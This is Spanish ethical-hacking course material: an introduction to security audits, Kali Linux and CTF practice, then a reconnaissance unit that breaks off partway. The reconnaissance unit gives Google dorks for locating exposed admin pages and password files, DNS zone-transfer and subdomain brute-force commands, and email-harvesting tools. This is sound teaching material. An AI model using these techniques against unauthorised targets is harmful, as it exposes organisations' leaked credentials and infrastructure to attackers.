02 C I Ber Seguridad

Introducción © ADR Infor SL
Indice
Introducción 3
I. Introducción a las auditorías de seguridad 3
II. Objetivos 3
III. La necesidad de las auditorías de seguridad 3
IV. Auditoría de seguridad vs. escaneo de vulnerabilidades 4
V. Marcos de auditorías de seguridad 5
VI. Distribuciones de hacking ético 6
VII. Kali Linux 9
VIII. Glosario de términos 13
IX. Prácticas técnicas de hacking: juegos 15
X. Resumen 16
Recursos 18
Bibliografía 18
Glosario. 19
2/19
Introducción
Introducción
I. Introducción a las auditorías de seguridad

Este curso introduce a las auditorías de seguridad, también conocidas como hacking ético profesional,
que consisten en romper la seguridad de una organización de forma sistemática y organizada con previa
autorización escrita por la organización, para conocer el estado de seguridad de la misma, qué
debilidades tiene y qué acciones deberían tomar para mejorar la seguridad.
E l hacking ético es un efectivo método para comprobar los mecanismos de seguridad y verificar la
postura de seguridad de una organización frente a un ataque. Para ello, vamos a estudiar en detalle cómo
llevar a cabo auditorías de seguridad en tres ámbitos muy presentes en las organizaciones actuales:
Infraestructura.
Aplicaciones web.
Aplicaciones móviles.
II. Objetivos
Durante esta unidad, los alumnos aprenderán sobre los siguientes conceptos:
Introducción a las auditorías de seguridad.

Terminología variada.
Fases del hacking ético/auditoría.
Manejo de herramientas.
Técnicas de ataque.
III. La necesidad de las auditorías de seguridad

Las auditorías de seguridad se han convertido en una necesidad para las empresas, ya que es el único
método efectivo para verificar la seguridad de una organización y conocer con detalle su estado.
3/19
Introducción
Imagen 1.1. Hacking ético.

Fuente: www.mouse.com.
En términos más simples: el hacking ético o auditoría de seguridad nos permite verificar la
postura de seguridad de una organización y encontrar sus puntos débiles en este contexto.
IV. Auditoría de seguridad vs. escaneo de

vulnerabilidades
Una auditoría de seguridad es una metodología sistemática que verifica de forma efectiva la seguridad
de una organización, mientras que un escaneo de vulnerabilidades es una prueba reducida y concreta
cuyo único objetivo es la identificación de vulnerabilidades.
Imagen 1.2. Hacking ético.

Fuente: elaboración propia CyberAcademy.
Un error generalizado que se produce hoy en día entre muchos clientes y profesionales de seguridad
es llamar hacking ético a un escaneo de vulnerabilidades. La diferencia es que, en una auditoría de
seguridad o hacking ético, la prueba consiste en simular un ataque informático real con el menor número
de restricciones posible. ¡Los atacantes de verdad no tienen reglas que respetar!
Si se establecen demasiadas reglas y límites a una prueba de hacking ético, esta pierde su veracidad y
los resultados no serán completos. Por desgracia, es bastante común que las organizaciones definan una
serie de excepciones o restricciones a la hora de llevar a cabo las auditorías y por eso muchas pruebas de
hacking ético son ineficaces.
Los escaneos de vulnerabilidades, por su parte, suelen ser más cortos en tiempo y más baratos,
mientras que una prueba de hacking ético necesita más tiempo y, por lo tanto, es más costosa, aunque
tiene muchos más beneficios para el cliente.
Como profesionales de seguridad, debemos entender la diferencia entre hacking ético y escaneo de
vulnerabilidades y transmitirlo a los clientes.
4/19
Introducción
Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad
Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad.

V. Marcos de auditorías de seguridad

Existen auditorías de seguridad de distintos tipos como, por ejemplo, infraestructura, aplicaciones web
o aplicaciones móviles. Cada tipo de auditoría implica llevar a cabo unas acciones específicas
dependiendo de lo que se esté auditando, es por ello que existen distintos marcos que se pueden tomar
como punto de partida para llevar a cabo las auditorías.
Algunos de los marcos de seguridad más populares son:
Penetration Testing Execution Standard (PTES)
Metodología centrada en test de penetración que incluye un proceso definido que va desde las
interacciones previas entre pentester y responsible de la aplicación hasta la entrega del informe final.
http://www.pentest-standard.org/index.php/Main_Page.
Open Source Security Testing Methodology Manual (OSSTMM)
Metodología de seguridad genérica que engloba distintos puntos de seguridad de la organización.
http://www.isecom.org/research/osstmm.html.
5/19
Introducción
Penetration Testing Framework
Metodología centrada en los test de penetración.
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html.
OWASP Testing Framework
Metodología centrada en auditorías de seguridad de aplicaciones web.
https://www.owasp.org/index.php/The_OWASP_Testing_Framework.
NIST Technical Guide to Information Security Testing and Assessment (NIST 800-115)
Contiene las pautas del proceso de test de penetración, desde la planificación al reporte final.
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
VI. Distribuciones de hacking ético

Para llevar a cabo las auditorías de seguridad, existen distribuciones específicas que facilitarán la tarea
de los auditores, ya que incluyen de serie herramientas creadas con tal objetivo. La mayoría de estas
distribuciones están basadas en alguna versión de Linux.
A continuación, se van a enumerar algunas de las más comunes, todas ellas creadas con el fin de
llevar a cabo acciones relacionadas con el hacking ético:
Kali Linux
Distribución de seguridad más utilizada y extendida. Es una de las más completas con más de 600
herramientas.
https://www.kali.org/
Parrot Security
Otra de las más utilizadas, se parece a KALI e incluye las mismas herramientas, pero incluye
además otras propias.
https://www.parrotsec.org/
6/19
Introducción
DEFT Linux
Una de las mejores soluciones para realizar análisis forense.
http://www.deftlinux.net/download/
BackBox Linux
Basado en Ubuntu, se centra en la evaluación de seguridad y pruebas de penetración.
http://www.backbox.org/
Samurai Web Testing Framework
Entorno Linux Live, preconfigurado como plataforma de pentesting web.
http://samurai.inguardians.com/
Pentoo
Basado en Gentoo Linux, amplia variedad de herramientas ordenadas en categorías como exploit,
cracker, etc.
http://www.pentoo.ch/
BlackArch Linux
Distribución completa de Linux para investigadores de seguridad y hackers éticos.
http://www.blackarch.org/
Network Security Toolkit (NST)
Basado en Fedora, creado para dar acceso a las mejores aplicaciones de seguridad de red de código
abierto para pruebas de pentest.
http://networksecuritytoolkit.org/nst/index.html
7/19
Introducción
NodeZero
Mejora su rendimiento si se instala en modo tradicional, no en modo “ live”, igual que el resto
incluye gran numero de herramientas de seguridad.
https://sourceforge.net/projects/nodezero/
Blackbuntu
Basada en Ubuntu, fue diseñada para estudiantes.
http://sourceforge.net/projects/blackbuntu/
Knoppix STD
Basada en Debian, funciona en modo LIVE.
http://s-t-d.org/
Weakerth4n
Basada en Debian, tiene una gran colección de herramientas para pruebas de seguridad en redes
wifi.
http://weaknetlabs.com/main/
Matriux
Centrada en pruebas de seguridad.
http://www.matriux.com/index.php?language=en.
La elección de la distribución que se quiera utilizar depende de gustos. Prácticamente todas

las distribuciones ofrecen las mismas herramientas. Incluso se puede montar nuestra propia
plataforma de ataque utilizando una versión estándar de Linux tipo Ubuntu, Debian, Fedora, etc.
Incluso Windows, ¿por qué no?
Lo bueno de utilizar una distribución de seguridad es que ya incorpora muchas de las

herramientas que vamos a utilizar a lo largo de este curso. Por lo que no tenemos que estar
perdiendo el tiempo bajando y configurando herramientas.
8/19
Introducción
VII. Kali Linux
URL: https://www.kali.org/
Doc: http://docs.kali.org/introduction/what-is-kali-linux
Posiblemente Kali Linux es la distribución de seguridad, basada en Ubuntu, más popular para realizar
hacking ético y es la que vamos a utilizar en este curso. Siéntete libre de utilizar otra versión de las
mencionadas anteriormente o tu propia distribución.
Lo bueno de Kali es que incorpora muchas de las herramientas, más de 600, que vamos a manejar en
este curso y aquellas que no incorpora son fácilmente instalables.
Características de Kali
Más de 600 herramientas de hacking ético.

Es Libre.
Árbol Git Open Source.
Cumple con FHS (Filesystem Hierarchy Standart).
Amplio soporte para dispositivos inalámbricos.
Parches al Kernel para inyección wifi.
Entorno de desarrollo seguro.
Paquetes y repositorios firmados con GPG.
Soporta varios lenguajes.
Completamente personalizable.
Soporte ARMEL y ARMHF 1.2.
9/19
Introducción
Podemos utilizar Kali en modo Live que no requiere ninguna instalación, pero perdemos todo lo
realizado al apagar el equipo; o podemos optar por instalar Kali, opción recomendada. Las tecnologías
de virtualización como VMWare o VirtualBox hacen realmente fácil de instalar un sistema operativo
invitado en nuestro equipo de hacking ético. Podemos tener muchas máquinas virtuales para realizar
diferentes ataques.
Una vez arrancada la máquina de Kali, tendremos el escritorio (véase imagen 1.4.), y en el menú
Aplicaciones podemos encontrar el submenú Kali Linux. Aquí encontramos todas las herramientas
que incluye Kali.
Imagen 1.4. Menú Kali.

Fuente: captura Kali Linux (https://www.kali.org/).
En el menú Kali Linux podemos encontrar las siguientes opciones:
Favoritos: acceso directo a las herramientas que más se utilicen de la distribución.

Recopilación de Información: herramientas para recolección de información.
Análisis de vulnerabilidades: herramientas de análisis de vulnerabilidades.
Aplicaciones web: herramientas para ataques web.
Evaluación de bases de datos: herramientas centradas en bases de datos.
Ataques de contraseñas: herramientas para analizar contraseñas.
Ataques wireless: herramientas centradas en redes wifi.
10/19
Introducción
Ingeniería inversa: herramientas de ingeniería inversa.

Herramientas de explotación: herramientas de explotación de vulnerabilidades.
Husmeando/Envenenando: herramientas de sniffing o spoofing.
Manteniendo acceso: herramientas para mantener acceso.
Forensia: herramientas de análisis forense.
Herramientas de reporte: herramienta para generar informes.
Social Engineering Tools: herramientas de ingeniería social.
Servicios del sistema: utilidades para activar servicios en Kali.
En el directorio /usr/share podemos encontrar todas las herramientas instaladas en Kali. Es

recomendable que exploremos este directorio y nos familiaricemos con la mayoría de herramientas,
ya que en el curso es imposible que las veamos todas. Observa la imagen 1.5.
Imagen 1.5. Herramientas KALI /usr/share/.

11/19
Introducción
La mayoría de herramientas que vamos a utilizar son de línea de comandos, por lo que tenemos que
estar a gusto con una línea de comandos en Linux. Podemos encontrar una estupenda referencia en htt
p://www.pixelbeat.org/cmdline.html.
Imagen 1.6. Ejemplos de comandos Linux.

Fuente: http://www.pixelbeat.org/cmdline_es_AR.html.
12/19
Introducción
Las actualizaciones en Kali son frecuentes y somos responsables de que siempre esté a la última en
parches y herramientas. Para ello, semanalmente debemos ejecutar los siguientes comandos:
# apt-get update
# apt-get upgrade
# apt-get dist-upgrade - Este comando actualiza la distribución cuando se publican nuevas
versiones.
Otro comando que debemos conocer es el dpkg que nos permite instalar paquetes o conocer los que
están instalados (imagen 1.7.).
Imagen 1.7. Listar paquetes instalados en KALI.

VIII. Glosario de términos

A continuación, se van a definir una serie de términos de los que se hablará en módulos posteriores
para facilitar la comprensión durante el desarrollo del curso.
13/19
Introducción
Seguridad informática
El área de la informática que se enfoca en la protección de la infraestructura computacional y todo

lo relacionado con esta y, especialmente, la información contenida o circulante.
Hacker (el bueno)
Definición 1: término para designar a alguien con talento, conocimiento, inteligencia y

curiosidad, especialmente relacionada con las operaciones de computadora, redes,
seguridad, etc.
Definición 2: persona que disfruta aprendiendo detalles de los sistemas de programación y
cómo extender sus capacidades, tan intensamente como, al contrario, muchos usuarios
prefieren aprender solo el mínimo necesario.
La Real Academia Española (2001) define hacker como:
Pirata informático; (descripción discutida por los profesionales).

Persona experta en el manejo de computadoras, que se ocupa de la seguridad de los
sistemas y de desarrollar técnicas de mejora. (Nueva definición añadida a la RAE
recientemente que se acerca a la postura de los profesionales de seguridad).
Cracker (el malo)
Se utiliza para referirse a las personas que “rompen” algún sistema de seguridad. Los crackers
pueden estar motivados por una multitud de razones, incluyendo fines de lucro, protesta o por el
propio desafío.
Hacker ético
Profesional de la seguridad informática que aplica sus conocimientos al hacking con fines
defensivos y de manera legal.
Sombrero blanco (white hat)
Persona que utiliza sus conocimientos de hacking para fines defensivos; el analista de seguridad o
hacker ético.
Sombrero negro (black hat)
Persona que utiliza sus conocimientos de hacking para acciones destructivas; el cracker.
14/19
Introducción
Sombrero gris (gray hat)
Persona que utiliza sus conocimientos de hacking tanto para fines defensivos o acciones
destructivas según le interese.
Hacktivismo
El término hacktivismo es controvertido. Algunos afirman que se acuñó para describir cómo las
acciones directas electrónicas podían usarse en favor del cambio social al combinar la programación
con el pensamiento crítico. Otros utilizan el término como sinónimo de actos maliciosos y
destructivos que vulneran la seguridad de internet como una plataforma tecnológica, económica y
política.
Pirata informático
“persona con grandes habilidades en el manejo de ordenadores, que utiliza sus conocimientos para
acceder ilegalmente a sistemas o redes ajenos”: “Un pirata informático logró jaquear los sistemas de
seguridad” (Clarín@ [Arg.] 19.6.05).
Backdoor
Puerta trasera, técnica que permitirá acceder a un sistema infectado para su control remoto.
IX. Prácticas técnicas de hacking: juegos

Existen multitud de juegos en los que se puede practicar hacking ético, también conocidos como War
Games o Capture the Flag (CTF). Estos juegos son el entorno perfecto para practicar técnicas y
herramientas sin preocuparnos de las consecuencias.
Existen distintos tipos de juegos:
Portales web
Generalmente estas aplicaciones están enfocados a hacking web.
Capture the Flag (CTF)
Son competiciones que se organizan en internet y en los congresos de seguridad. Se definen una
serie de reglas, objetivos y tiempo y se puede competir de manera individual o por equipos. Podemos
encontrar todo tipo de pruebas: ataques web, ingeniera inversa, análisis de tráfico de red, explotación
de vulnerabilidades, análisis de cifrado, desarrollo de herramientas, etc.
15/19
Introducción
Servidores remotos
Varios portales web ofrecen acceso a servidores remotos donde poder realizar prácticas y explotar
vulnerabilidades.
Máquinas virtuales
Existen multitud de máquinas virtuales con todo tipo de pruebas y vulnerabilidades que podemos
descargar de Internet y utilizar en nuestro laboratorio.
Anotación: Algunos de los juegos hacking más populares
Hack The Box (HTB)

VulnHub
OverTheWire
NetWars
PentesterLabs
Hacker Experience
Hack this Site
Hacking Lab
Smash the Stack
El nivel de sofisticación de estos juegos es muy variado, desde pruebas muy simples realizando un
ataque web de Cross-Site Scripting (XSS) hasta analizar un binario desconocido para explotar una
vulnerabilidad.
Lo bueno de estos juegos es que, generalmente, incluyen tutoriales de ayuda donde encontrar pistas,
así como foros en caso que nos atasquemos y necesitemos pedir ayuda a la comunidad.
Otra opción muy interesante es montar un servidor en nuestro laboratorio con un software de
virtualización y configurar diferentes máquinas con Linux y Windows y realizar ataques.
Podemos pedirle a un amigo que configure una máquina virtual y nuestra tarea consistirá en
atacarla, luego podemos cambiar los papeles. Todo profesional debe saber atacar y defender.
X. Resumen
16/19
Introducción
En esta unidad no solo hemos estudiado en qué consiste una auditoría de seguridad, sino que también
hemos aprendido la diferencia entre esta práctica y el escaneo de vulnerabilidades.
Dentro del contexto de las auditorías de seguridad, hemos estudiado diferentes marcos de seguridad
como PTES (Penetration Testing Execution Standard ), OSSTM (Open Source Security Testing
Methodology Manual) o Penetration Testing Framework.
Con el fin de llevar a cabo estas auditorías de seguridad, en esta unidad se han explicado diferentes
distribuciones que nos ayudarán a realizar acciones relacionadas con el hacking ético. Entre ellas,
podemos encontrar:
Kali Linux (que hemos trabajado en mayor detalle).

Parrot Security.
Pentoo.
Todas ellas son buenas herramientas para facilitar nuestra tarea de auditoría.
17/19
Introducción
Recursos
Bibliografía
Hacking ético 101 . : Astudillo B, K. (2016). Hacking ético 101 . 2nd ed. [S.l.]: Createspace
Independent P.
Pentesting con Kali: Aprende a dominar la herramienta Kali de pentesting, hacking y
auditorías activas de seguridad. : Santo Orcero, D. (2017). Pentesting con Kali: Aprende a
dominar la herramienta Kali de pentesting, hacking y auditorías activas de seguridad.
(Actualizado a Kali 2018.4)
BackBox Linux.: http://www.backbox.org/
BlackArch Linux.: http://www.blackarch.org/
Blackbuntu.: http://sourceforge.net/projects/blackbuntu/
Cracker.: http://es.wikipedia.org/wiki/Hacker
DEFT Linux.: http://www.deftlinux.net/download/
Documentación de Kali Linux.: http://docs.kali.org/introduction/what-is-kali-linux
Exploit Exercises.: https://exploit-exercises.com/
Hack The Box (HTB).: https://www.hackthebox.eu/en
Hack this Site.: https://www.hackthissite.org/
Hacker Experience.: https://hackerexperience.com/
KALI LINUX.: https://www.kali.org/
Knoppix STD.: http://s-t-d.org/
Línea de comandos Linux.: http://www.pixelbeat.org/cmdline.html
Matriux.: http://www.matriux.com/index.php?language=en
Metodología Open Source Security Testing Methodology Manual (OSSTMM).:
http://www.isecom.org/research/osstmm.html
Metodología OWASP Testing Framework.:
https://www.owasp.org/index.php/The_OWASP_Testing_Framework
Metodología Penetration Testing Execution Standard (PTES).: http://www.pentest-
standard.org/index.php/Main_Page
Metodología Penetration Testing Framework.:
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
NetWars.: https://www.counterhackchallenges.com/user/signin
Network Security Toolkit (NST).: http://networksecuritytoolkit.org/nst/index.html
NIST Technical Guide to Information Security Testing and Assessment (NIST 800-115). :
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
NodeZero.: http://www.nodezero-linux.org/
18/19
Introducción
OverTheWire.: http://overthewire.org/wargames/
Parrot Security.: https://www.parrotsec.org/
PentesterLabs.: https://pentesterlab.com/
Pentoo.: http://www.pentoo.ch/
Pirata informático (RAE).: http://lema.rae.es/dpd/srv/search?id=HTm1EjFzPD6zs66ao6
Samurai Web Testing Framework.: http://samurai.inguardians.com/
Términos seguridad informática en Wikipedia.:
https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica
VulnHub.: https://www.vulnhub.com/
Weakerth4n.: http://weaknetlabs.com/main/
Glosario.
Auditoría de seguridad: Metodología sistemática que verifica de forma efectiva la

seguridad de una organización.
Escaneo de vulnerabilidades: Prueba reducida y concreta cuyo único objetivo es la

identificación de vulnerabilidades.
19/19
Auditoría de infraestructuras I:
Introducción, Reconocimiento y
Escaneo © ADR Infor SL
Indice
Auditoría de infraestructuras I: introducción, reconocimiento y escaneo 3
I. Introducción 3
1.1. Objetivos 3
1.2. Tipos de auditoría 3
II. Reconocimiento 4
2.1. Introducción 4
2.2. Teoría 4
2.3. Reconocimiento PASIVO y ACTIVO (OSINT, Google/Bing hacking, shodan, sniffing) 5
2.3.1. Reconocimiento pasivo 5
2.3.1.1. Google hacking 5
2.3.1.2. E-mail harvesting 8
2.3.1.3. Enumeración Whois 9
2.3.1.4. Recon-ng 9
2.3.2. Reconocimiento activo 10
2.3.2.1. Enumeración DNS 10
2.3.2.2. Enumeración SMB 12
2.3.2.3. Enumeración SMTP 14
2.3.2.4. Enumeración SNMP 14
III. Escaneo 16
3.2. Teoría 17
3.3. Descubrimiento de red 19
3.3.1. Descubrimiento de hosts mediante ICMP 20
3.3.2. Descubrimiento de hosts mediante ARP 25
3.3.3. Descubrimiento de dispositivos y configuración de red 26
3.4. Descubrimiento de servicios 30
3.4.1. Enumeración de puertos 31
3.4.2. Enumeración de servicios y versión 35
3.4.3. Opciones avanzadas de escaneo 37
3.5. Búsqueda de vulnerabilidades 42
3.5.1. Nmap como escáner de vulnerabilidades 43
3.5.2. Nessus 43
3.5.3. Escáneres más específicos (sslscan, qualys, acunetix, NIKTO, JOOMSCAN, CMSCAN, etc.) 49
3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas 52
IV. Resumen 53
Recursos 54
Enlaces de Interés 54
Bibliografía 57
Glosario. 58
2/60
Auditoría de infraestructuras I: Introducción, Reconocimiento y Escaneo
Auditoría de infraestructuras I: introducción,

reconocimiento y escaneo
I. Introducción
La auditoría o Penetration Test de infraestructuras engloba las diferentes fases que se ejecutan sobre
los sistemas informáticos de una organización para identificar las debilidades que pueden desencadenar
un riesgo en la integridad, confidencialidad y disponibilidad de sus activos.
Las fases que conforman la auditoría son: reconocimiento activo y pasivo, escaneo, explotación y
escalada de privilegios. A lo largo de toda esta unidad se tratará de introducir al alumno en los aspectos
más relevantes de cada una de ellas.
1.1. Objetivos
El objetivo de este módulo es que el alumno se familiarice con los diferentes tipos de auditorías de
seguridad que se pueden llevar a cabo, así como con las diferentes fases que los componen.
Concretamente, nos centraremos en las fases de reconocimiento y escaneo. En cuanto al

reconocimiento, trabajaremos en los diferentes tipos (activo y pasivo), y en la fase de escaneo
veremos el descubrimiento de elementos como hosts, red, servicios, etc.
1.2. Tipos de auditoría

Existen diferentes tipos de auditorías o Penetration Tests que se pueden ejecutar sobre la
infraestructura de una organización para llevar a cabo la identificación de los riesgos en los sistemas
informáticos. Podemos clasificar estas auditorías en:
Pentest externo
El objetivo de este tipo de pruebas es encontrar, de forma remota, debilidades en los equipos de la
organización que están publicados en internet, con el fin de traspasar el perímetro y descubrir
debilidades en la DMZ para poder acceder a la red interna.
Pentest interno
Durante este tipo de pruebas, se evalúa la seguridad desde el punto de vista de un insider para así
poder determinar hasta dónde puede elevar privilegios un usuario que cuente inicialmente con un
nivel de privilegios bajos.
3/60
Red Team
Consiste en la simulación de ataques reales, para poner a prueba el nivel de seguridad de la

organización y encontrar debilidades y vulnerabilidades en su estructura.
De acuerdo con la información que conocemos sobre el objetivo cuando comienza la auditoría,
podemos clasificarlas en:
Caja negra
El auditor comienza la auditoría conociendo únicamente la identidad de la organización. El objetivo

de realizar una auditoría de este tipo es que simula un ataque externo real.
Caja gris
Se dispone de cierta información de la infraestructura, por lo que no se parte de cero.
Caja blanca
Se dispone la información de la organización, como por ejemplo mapas de red. Al conocer toda
esta información se puede prescindir de la fase de fingerprinting que se tratará más adelante.
II. Reconocimiento
2.1. Introducción
La fase de reconocimiento es una parte vital para el éxito del hacking ético. En ella debemos
recoger toda la información del objetivo de forma activa y pasiva para estudiarla y encontrar los
vectores de ataque.
2.2. Teoría
Hoy en día la mayoría de información está en la web, pero no necesaria y únicamente ahí, y es por eso
que utilizaremos técnicas de inteligencia de fuentes abiertas, Open Source Intelligence (OSINT).
Además, estas técnicas nos permiten obtener información del objetivo sin enviarle ningún paquete.
OSINT es la forma de recolección de inteligencia que engloba encontrar, seleccionar y adquirir

información de recursos públicos para ser analizada y producir inteligencia (información relevante).
4/60
La fase de reconocimiento se basa en dos partes: reconocimiento pasivo y reconocimiento

activo.
2.3. Reconocimiento PASIVO y ACTIVO (OSINT, Google/Bing

hacking, shodan, sniffing)
2.3.1. Reconocimiento pasivo
Reconocimiento pasivo: es el proceso de recolección de información del objetivo que queremos

atacar, usando como medio información de dominio público. Esto incluye información obtenida en
motores de búsqueda como Google, Bing, Whois, información publicada de la empresa en concreto, etc.
Esta información obtenida ayuda a obtener una visión general de la organización objetivo que se
quiere atacar, donde se pueden exponer diferentes datos relativos a la misma, como pueden ser servicios
publicados, aplicaciones, cuentas de correo electrónico, empleados que trabajan en ella, si tienen
procesos de selección de nuevos empleados activos, etc.
2.3.1.1. Google hacking
Dentro de la fase de reconocimiento pasivo hemos mencionado los motores de búsqueda. La

enumeración usando Google hacking es muy útil ya que soporta el uso de numerosos operadores de
búsqueda, lo que permite acotar nuestras búsquedas y ser más precisos a la hora de obtener información
que nos pueda resultar útil. Además de lo mencionado, esta técnica nos ayuda a identificar posibles
vulnerabilidades y servicios mal configurados.
Los operadores más comunes suelen ser los citados a continuación:
5/60
Site
Este operador limitará nuestra búsqueda en Google a un único dominio. Esta búsqueda tan simple
nos puede proporcionar información muy útil, como cuántos subdominios tiene indexados o la
presencia de la organización en la web.
En la imagen siguiente hemos limitado los resultados de la búsqueda al dominio apple.com y vemos
que hemos obtenido numerosos resultados.
Imagen 2.1. Uso de operador site en Google.

Fuente: captura de google (www.google.com).
6/60
Operador “-“
Con el operador “-“ vamos a acotar nuestra búsqueda. En ella vamos a buscar por los subdominios
de Apple menos los que incluyamos al usar este operador. Esta nueva búsqueda nos va a dar más
información sobre el dominio objetivo y los subdominios que tiene accesibles vía web.
Imagen 2.2. Uso de operador “-“ en Google.

Fuente: captura de Google (www.google.com).
inurl
Este operador busca webs que tengan el término en alguna parte de la URL y se puede combinar
con varios operadores.
allinurl:admin.php site:.edu
filetype
Este operador busca webs que tengan expuestos ficheros con diferentes extensiones (.pdf, .ps, .doc,
.xls, .txt, .ppt, .rtf, .asp, etc.) y se puede combinar con varios operadores.
filetype:xls password site:mysite.org
Allintitle e intitle
Restringe la búsqueda únicamente al título de la página web (aquello que está entre las etiquetas).
allintitle: ”index of/admin”
7/60
La siguiente imagen muestra una búsqueda realizada combinando algunos de los operadores descritos
arriba.
Imagen 2.3. Combinación de operadores en Google.

Fuente: captura de Google (www.google.com).
Se pueden combinar numerosos operadores en Google para acotar nuestras búsquedas y obtener
información muy útil acerca del objetivo.
En el siguiente enlace se puede consultar algunas combinaciones muy útiles:
https://www.exploit-db.com/google-hacking-database/
2.3.1.2. E-mail harvesting
Esta técnica es muy efectiva de cara a encontrar correos electrónicos, posibles usuarios y empleados
de una organización. La recopilación de este tipo de información es útil a la hora de obtener una lista
para poder llevar a cabo ataques client-side, mapeo de usuarios en la organización, etc.
Una herramienta muy usada para este tipo de tareas es T heharvester, disponible en la distribución
Kali Linux. Esta herramienta se encarga de hacer búsquedas de correos electrónicos en diferentes
motores de búsqueda.
8/60
Imagen 2.4. Opciones de the Harvester.

Fuente: captura de Harvester.
2.3.1.3. Enumeración Whois
Whois, además de ser una herramienta muy útil para extraer información sobre el dominio de una
organización, es un servicio TCP y un tipo de base de datos. Las bases de datos whois contienen mucha
información sobre la organización, dominios que alojan, nombre del servidor, registrador y, en la
mayoría de los casos, información de contacto.
ENLACE
Whois, además de permitir la búsqueda por dominios, permite la búsqueda inversa, esto es
proporcionar la dirección IP.
ENLACE
2.3.1.4. Recon-ng
9/60
Es un framework de reconocimiento web escrito en Python que cuenta con módulos independientes y
diferentes funciones, que proporciona un entorno bastante completo y que permite englobar todas las
pruebas de reconocimiento pasivo que se pueden llevar a cabo.
Mediante la configuración de esta herramienta se pueden llevar a cabo consultas whois, consultas en
Google, Bing y otros motores de búsqueda, listar vulnerabilidades que han sido reportadas en una
organización pero que aún no han sido solucionadas, entre otras.
Este framework permite, además, importar nuevos módulos.
Para más información sobre este framework, es posible visitar el repositorio del autor que incluye
todos los módulos disponibles y el código fuente de la misma:
https://bitbucket.org/LaNMaSteR53/recon-ng
Otras herramientas, disponibles online, muy útiles que nos pueden proporcionar más
información son las citadas a continuación:
Ripe: https://www.ripe.net/
Arin: https://www.arin.net/
Shodan: https://www.shodan.io/
Robtex: https://www.robtex.com/
Archive.org: http://archive.org
Pastebin: https://pastebin.com/
Github: https://github.com/
FOCA: https://www.elevenpaths.com/es/labstools/foca-2/index.html
2.3.2. Reconocimiento activo
Una vez que hemos recopilado la información necesaria sobre nuestro objetivo en la fase anterior, nos
disponemos a analizar servicios específicos. Se van a utilizar diferentes herramientas que serán descritas
en este apartado.
La recopilación de información activa puede ser detectada por el objetivo al ser un comportamiento
malicioso o sospechoso. Durante esta etapa, estamos activamente mapeando la infraestructura de red
(pensemos en un escaneo de puertos completo nmap -p1-65535), enumerando máquinas o analizado una
vulnerabilidad en un servicio abierto, estamos buscando activamente servidores, archivos y directorios.
La mayoría de estas actividades se realizan durante las fases de "reconocimiento" o "exploración" dentro
de las fases del hacking ético.
2.3.2.1. Enumeración DNS
Los servidores DNS ofrecen una serie de datos que se encuentran disponibles de forma pública sobre
organización de servidores como direcciones IP, nombres de servidores, funcionalidad de estos, etc.
10/60
Un servidor DNS normalmente divulgará información de DNS y de servidor de correo para el dominio
sobre el que tiene autoridad. Esto es necesario, ya que las solicitudes públicas de direcciones de correo y
de servidores DNS constituyen la experiencia básica de Internet.
Examinando el dominio Microsoft.com, vamos a utilizar el comando host con el parámetro -t para
llevar a cabo descubrimiento tanto de servidores DNS como de servidores de correo:
ENLACE
De forma predeterminada, cada dominio configurado debe proporcionar, al menos, el DNS y los
servidores de correo responsables del dominio. Dentro de esta técnica, existe la posibilidad de
automatizar este proceso. Es posible emplear consultas DNS adicionales para el descubrimiento de
hostnames y direcciones IP que puedan pertenecer a la organización objetivo.
ENLACE
Para comparar las salidas que pueda tener la ejecución de diferentes búsquedas, el resultado de
buscar subdominios de la organización analizada es:
root@kali:~# host idontexist.microsoft.com
Host idontexist.microsoft.com not found: 3(NXDOMAIN)
Otra técnica que es posible llevar a cabo es aplicar fuerza bruta para obtener los diferentes
subdominios que forman parte de la organización. Para ello, con un script en bash básico es posible
ejecutar el comando host que lea un fichero de entrada con diferentes subdominios:
ENLACE
Lookup y reverse lookup
La enumeración de fuerza bruta de DNS realizada anteriormente reveló un conjunto de direcciones

IP dispersas. Si el administrador de DNS de microsoft.com configuró registros PTR para el dominio,
podríamos encontrar más nombres de dominio que se perdieron durante la fase de búsqueda avanzada
de fuerza bruta al sondear el rango de estas direcciones encontradas en un bucle.
ENLACE
Ha sido posible enumerar diferentes subdominios que tiene publicado Microsoft.com.
Transferencias de zona DNS
11/60
L a transferencia de zona es similar a una base de datos replicada de un servidor DNS. Este
proceso incluye la copia del archivo de zona desde un servidor DNS maestro a un servidor esclavo. El
archivo de zona contiene una lista de todos los nombres DNS configurados para esa zona.
La transferencia de zona debería limitarse normalmente a servidores DNS esclavos autorizados. Sin
embargo, muchos administradores configuran mal sus servidores DNS, y como resultado, cualquiera
que pregunte por una copia de la zona del servidor DNS recibirá una.
Todos los nombres, direcciones y funcionalidades de los servidores pueden estar expuestos a
cualquier usuario.
Una transferencia de zona exitosa no tiene como consecuencia directa una violación de la red. Sin
embargo, facilita el proceso.
Se puede emplear la siguiente sintaxis del comando host para realizar una transferencia de zona.
host -l <domain name> <dns server address>
En este caso, los servidores de Microsoft están configurados apropiadamente y no se permite la

transferencia de zona.
ENLACE
Un ejemplo de transferencia de zona exitosa puede ser la siguiente, utilizando una organización de
prueba.
ENLACE
Enumeración DNS con herramientas conocidas
dnsrecon
(https://github.com/darkoperator/dnsrecon): es un script programado en Python que automatiza

todo el proceso explicado.
Vamos a realizar esta prueba sobre el dominio de prueba megacorpone.com.
ENLACE
dnsenum
Este script funciona de forma similar a dnsrecon. Intenta realizar transferencias de zona en un
dominio dado.
ENLACE
2.3.2.2. Enumeración SMB
12/60
Server Message Block , conocido como SMB, es un protocolo de red cuyo objetivo es compartir
archivos, impresoras, etc., entre máquinas pertenecientes a una misma red de ordenadores.
El historial de seguridad de este protocolo ha sido deficiente durante más de una década, debido a su
compleja implementación y a su naturaleza abierta. Las debilidades de este protocolo van desde la
existencia de sesiones nulas de SMB no autenticadas, en Windows 2000 y XP, hasta una gran cantidad
de errores de SMB y vulnerabilidades a lo largo de los años, la más conocida y reciente EternalBlue.
El protocolo SMB ha sido actualizado y mejorado en paralelo con cada lanzamiento del sistema
operativo Windows. La evolución de versiones de este protocolo según el sistema operativo es:
SMB1 - Windows 2000, XP y Windows 2003

